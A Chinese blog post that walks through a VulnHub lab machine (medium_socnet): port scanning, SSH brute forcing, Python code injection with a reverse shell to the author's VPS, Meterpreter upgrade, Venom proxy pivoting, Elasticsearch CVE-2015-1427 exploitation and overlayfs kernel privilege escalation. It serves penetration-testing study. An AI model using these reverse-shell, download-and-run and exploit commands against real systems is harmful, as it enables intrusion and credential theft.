前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【vulhub靶场】medium_socnet

【vulhub靶场】medium_socnet

作者头像
今天是几号
发布2024-07-18 15:21:28
770
发布2024-07-18 15:21:28
举报
文章被收录于专栏:Cyber Security
环境搭建

官网下载地址(下载比较慢):https://www.vulnhub.com/entry/boredhackerblog-social-network,454/ 靶机百度云链接 第一次搭建时,进行主机探测,发现靶机只开了22 ssh服务,我寻思不能ssh爆破一下就结束了吧,查了一下资料,发现靶机还应该开放5000端口。遂重新下载导入了一次才正常(还有一种情况是连主机都探测不到,可能是网络适配器设置问题)

在这里插入图片描述
在这里插入图片描述

信息收集

主机发现:

代码语言:javascript
复制
arp-scan -l
在这里插入图片描述
在这里插入图片描述

端口扫描

代码语言:javascript
复制
nmap -sS -sV -T4 -A -p- 10.10.10.154 
在这里插入图片描述
在这里插入图片描述

两种思路:1.ssh爆破 2.通过5000 端口 Python搭建的Web服务 ssh爆破:看运气

代码语言:javascript
复制
use auxiliary/scanner/ssh/ssh_login
set rhost 10.10.10.154
set USER_FILE user.txt
set PASS_FILE pass.txt
run

Web 渗透

dirsearch 扫一下

代码语言:javascript
复制
python3 dirsearch.py -u http://10.10.10.154:5000/ -e html js
在这里插入图片描述
在这里插入图片描述

插了一下xss 未解析 根据服务探测的信息

5000/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.15) |_http-title: Leave a message 网上找找相关漏洞 以对应版本

在这里插入图片描述
在这里插入图片描述

(CVE-2019-14322)Pallets Werkzeug 0.15.4 路径遍历漏洞

搜索一下Werkzeug历史漏洞,发现了这个 在0.15.5之前的Pallets Werkzeug中,shareddatmiddleware错误处理了Windows路径名中的驱动器名。 试了试Poc,不存在该漏洞

代码注入-反弹shell

在这里插入图片描述
在这里插入图片描述

根据页面提示,这里可能存在代码执行 反弹shell平台:https://forum.ywhack.com/shell.php

靶机是Python环境,尝试注入Python版本反弹shell命令

在这里插入图片描述
在这里插入图片描述

还有一个问题就是这里给出的代码都是以命令行的形式执行进行上线的,而靶机页面给出的提示是exec()函数执行,直接复制上去是无法反弹shell的。

在这里插入图片描述
在这里插入图片描述

保量中间参数部分才能正常上线

在这里插入图片描述
在这里插入图片描述

Payload

代码语言:javascript
复制
import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("47.94.xx.xx",5566));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

Python 中,分号也可以用于分隔多条语句;在这段代码中,分号用于将多个语句放在一行中,以便在执行代码时只需要复制粘贴一行代码 执行相关命令后,发现Dockerfile文件,意味着5555端口开的web服务可能在Docker中

在这里插入图片描述
在这里插入图片描述

关于Dockerfile

Dockerfile 定义镜像,依赖镜像来运行容器,因此 Dockerfile 是镜像和容器的关键 Dockerfile 是一个文本文件,其内包含了一条条的指令(Instruction),每一条指令构建一层,因此每一条指令的内容,就是描述该层应当如何构建

判断是否在Docker环境中:

方法一:判断根目录下 .dockerenv 文件

代码语言:javascript
复制
ls -alh /.dockerenv 	#非docker环境,没有这个.dockerenv文件的
在这里插入图片描述
在这里插入图片描述

方法二:查询系统进程的cgroup信息

代码语言:javascript
复制
cat /proc/1/cgroup

Docker环境执行如下

在这里插入图片描述
在这里插入图片描述

非Docker 环境如下

在这里插入图片描述
在这里插入图片描述

实锤Dokcer环境

Command SHELL 提升至 Meterpreter

因为msf比较方便。所以将shell转交至msf中

代码语言:javascript
复制
msf6 > use exploit/multi/handler 
msf6 exploit(multi/handler) > set payload cmd/unix/reverse_bash
msf6 exploit(multi/handler) > set lhost 0.0.0.0
msf6 exploit(multi/handler) > set lport 6677
msf6 exploit(multi/handler) > exploit 

另一个窗口监听本地6677端口,使用nc再次反弹过来

现在拿到的只有一个shell,但是怎么样才能使用msf其他功能呢? Upgrade Command Shell to Meterpreter

方法一
代码语言:javascript
复制
sesssions -u 1
在这里插入图片描述
在这里插入图片描述

但是这里很遗憾,在公网vps上没有提升成功 测试一下同局域网kali 可以

在这里插入图片描述
在这里插入图片描述
方法二
代码语言:javascript
复制
msf6 exploit(multi/handler) > use post/multi/manage/shell_to_meterpreter 
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > exploit 

这里还是没有提升成功,猜测可能是我用的公网vps的问题,使用本地kali可以

Docker环境中存在内网环境

内网主机探测

代码语言:javascript
复制
ip a
在这里插入图片描述
在这里插入图片描述

这里子网掩码有16位,意思就是主机数最多有2的16次方个

shell脚本-ping存活ip

代码语言:javascript
复制
for i in $(for j in $(seq 1 254));do ping -c 1 172.17.$i.$j;done #扫描65535个主机

因为是Docker环境,不至于会打开这么多镜像,所以只对c段的IP进行扫描

代码语言:javascript
复制
for i in $(seq 1 254);do ping -c 1 172.17.0.$i;done         
在这里插入图片描述
在这里插入图片描述

存活了三台主机除去自身的172.17.0.2,剩余两台172.17.0.1、172.17.0.3 因为直接从反弹的bash中无法使用其他工具进行内网渗透,所以这里我们使用代理

内网渗透-本地msf自动化

自动添加路由

在这里插入图片描述
在这里插入图片描述

添加代理

代码语言:javascript
复制
use auxiliary/server/socks_proxy
set SRVPORT 1234

修改proxychains 配置文件

代码语言:javascript
复制
vi /etc/proxychains.conf 
在这里插入图片描述
在这里插入图片描述

然后使用proxychains 进行后续操作

本地kali进行服务探测比通过vps快多了

代码语言:javascript
复制
proxychains nmap -sV -sT 172.17.0.1
在这里插入图片描述
在这里插入图片描述
代码语言:javascript
复制
proxychains nmap -sV -sT 172.17.0.2
在这里插入图片描述
在这里插入图片描述

注意这里的9200 端口开启的htpp服务

代码语言:javascript
复制
proxychains nmap -sV -sT 172.17.0.3
在这里插入图片描述
在这里插入图片描述

这里还是有很多疑问的?

  • 1 和 3 主机都有5000端口以及相同服务 哪一个是10.10.154的内网ip?
  • 以及使用Docker搭建内网环境里面网络结构是什么样的?

在本地kali中使用自带的firefox条件socks 代理 访问 1和 3主机的5000端口以及 2的9200端口

在这里插入图片描述
在这里插入图片描述

配合在物理机访问10.10.10.154并进行留言,发现 1和3 都对应此网站

在这里插入图片描述
在这里插入图片描述

访问 172.17.0.2:9200端口

在这里插入图片描述
在这里插入图片描述

网上找以公开的elasticsearch 版本1.4.2 历史漏洞

在这里插入图片描述
在这里插入图片描述

找EXP直接利用 https://github.com/t0kx/exploit-CVE-2015-1427

在这里插入图片描述
在这里插入图片描述

直接是root 但这是一个POC好像 msf中可以搜到EXP

代码语言:javascript
复制
searchsploit  elasticsearch
在这里插入图片描述
在这里插入图片描述
代码语言:javascript
复制
proxychains python2 /usr/share/exploitdb/exploits/linux/remote/36337.py 172.17.0.2
在这里插入图片描述
在这里插入图片描述

拿到了一些用户及md5加密的密码,放到cmd5.com 进行解密

在这里插入图片描述
在这里插入图片描述

都能解密出来,有些需要付费…… 可以登陆的是john:1337hack 这里可以使用ssh直接登陆 ssh登陆后发现是普通用户权限

==提权==
==提权==

手工 公网vps内网渗透

Venom 代理

https://github.com/Dliv3/Venom

Venom是一款为渗透测试人员设计的使用Go开发的多级代理工具。 Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理。 渗透测试人员可以使用Venom轻松地将网络流量代理到多层内网,并轻松地管理代理节点。

开启服务端(VPS)

代码语言:javascript
复制
./admin_linux_x64 -lport 7777

Python开启临时的 http 服务,在靶机上通过文件下载并执行

代码语言:javascript
复制
python3 -m http.server 88  #注意在Venom文件目录下执行

在靶机shell中执行

代码语言:javascript
复制
wget http://47.94.130.42:88/agent_linux_x64
chmod +x agent_linux_x64 
./agent_linux_x64 -rhost 47.94.130.42 -rport 7777 #启动客户端 
在这里插入图片描述
在这里插入图片描述

服务端连接成功,获取到了一个会话,进入这个会话中,开启一个 socks 代理

在这里插入图片描述
在这里插入图片描述

当然,这里还是需要工具来进行流量转发 linux平台使用proxychains windows 代理详见 代理Socks协议&路由不出网&后渗透通讯&CS-MSF控制上线 这里我使用本地kali 连接vps开启的Socks代理(工具方便) 修改配置文件:

代码语言:javascript
复制
vim /etc/proxychains.conf 
在这里插入图片描述
在这里插入图片描述
代码语言:javascript
复制
proxychains nmap -sV -sT 172.17.0.1

这里未指定端口范围,于是进行一些常见服务及端口的扫描

代码语言:javascript
复制
proxychains nmap -sV -sT 172.17.0.1 -p 1-65535   #p参数可以指定端口范围
在这里插入图片描述
在这里插入图片描述

扫个一两分钟就可以了,如果不经过公网代理的话,速度可能会快一些,当然真实环境下需要控制扫描速率,以防被封代理ip 后面渗透步骤等同于上方msf自动化,不再做演示

漏洞利用-内核提权-攻击代码修改

在这里插入图片描述
在这里插入图片描述

这里自己上传了les.sh进行分析,寻找可以使用的漏洞,一开始利用的经典脏牛,进行编译的时候才发现靶机上没有gcc编译器,当然也没有权限进行包管理(安装gcc),寻思有没有其他编译器使用,如clang或者tcc,编译自己的漏洞利用程序,当然也是没有的,那么如果我在本地编译成可执行程序在进行上传呢?我们都知道linux不同架构编译出来的程序不能通用(指令集不同)。网上查资料GCC支持在一个计算机上同时编译多个架构的程序,也就是说使用GCC编译器在X86架构上编译的程序同样可以在ARM架构上运行。于是我将kali本地编译的脏牛漏洞上传至靶机上

在这里插入图片描述
在这里插入图片描述

显示缺少libstdc++库,尝试能不能 apt-get install libstdc++6 一下,答案是没有权限,那么能不能从kali上把该库文件复制过来使用呢?复制过来需要放到/usr/lib/目录下,不然程序无法正常调用,然而该目录是禁止普通用户访问的。 走投无路了属于是,看到靶场提示的攻击代码修改,突然想到更改脏牛源代码使其调用自己放置的库文件,然后重新编译使用似乎可以。奈何自己内功不够,对着C语言源码看了一会不知所措……(脏牛EXP源代码中没有库利用痕迹,更换其他漏洞进行提权吧)

**这是其他大佬利用的漏洞 ‘overlayfs’ Local Privilege Escalation ** 适用linux内核版本:Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) EXP在kali中的位置

/usr/share/exploitdb/exploits/linux/local/37292.c

在这里插入图片描述
在这里插入图片描述

删除虚影部分代码,在kali中编译好,报错是正常现象,也会生成程序 按照上方思路,定位ofs-lib.so文件并一起打包放置靶机中,赋权后执行

locate ofs-lib.so /usr/share/metasploit-framework/data/exploits/CVE-2015-1328/ofs-lib.so

在这里插入图片描述
在这里插入图片描述

思考及问题

msf 漏洞利用不熟练 对Docker搭建内网环境不熟悉 看到docker环境后没有尝试一些逃逸方法,因为看到靶机介绍并未有逃逸这一关键词,真实环境下应该尝试能否逃逸 修改EXP水平不够,对于库文件的调用以及编译过程不熟悉 一个靶机打一天 emmm 文章内容有不足的地方后续会补充

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2024-07-18,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 环境搭建
  • 信息收集
    • 主机发现:
      • 端口扫描
      • Web 渗透
        • (CVE-2019-14322)Pallets Werkzeug 0.15.4 路径遍历漏洞
          • 代码注入-反弹shell
            • 关于Dockerfile
              • 判断是否在Docker环境中:
                • Command SHELL 提升至 Meterpreter
                • 方法一
                • 方法二
            • Docker环境中存在内网环境
              • 内网主机探测
                • shell脚本-ping存活ip
                  • 内网渗透-本地msf自动化
                    • 手工 公网vps内网渗透
                      • Venom 代理
                  • 漏洞利用-内核提权-攻击代码修改
                  • 思考及问题
                  相关产品与服务
                  容器服务
                  腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
                  领券
                  问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档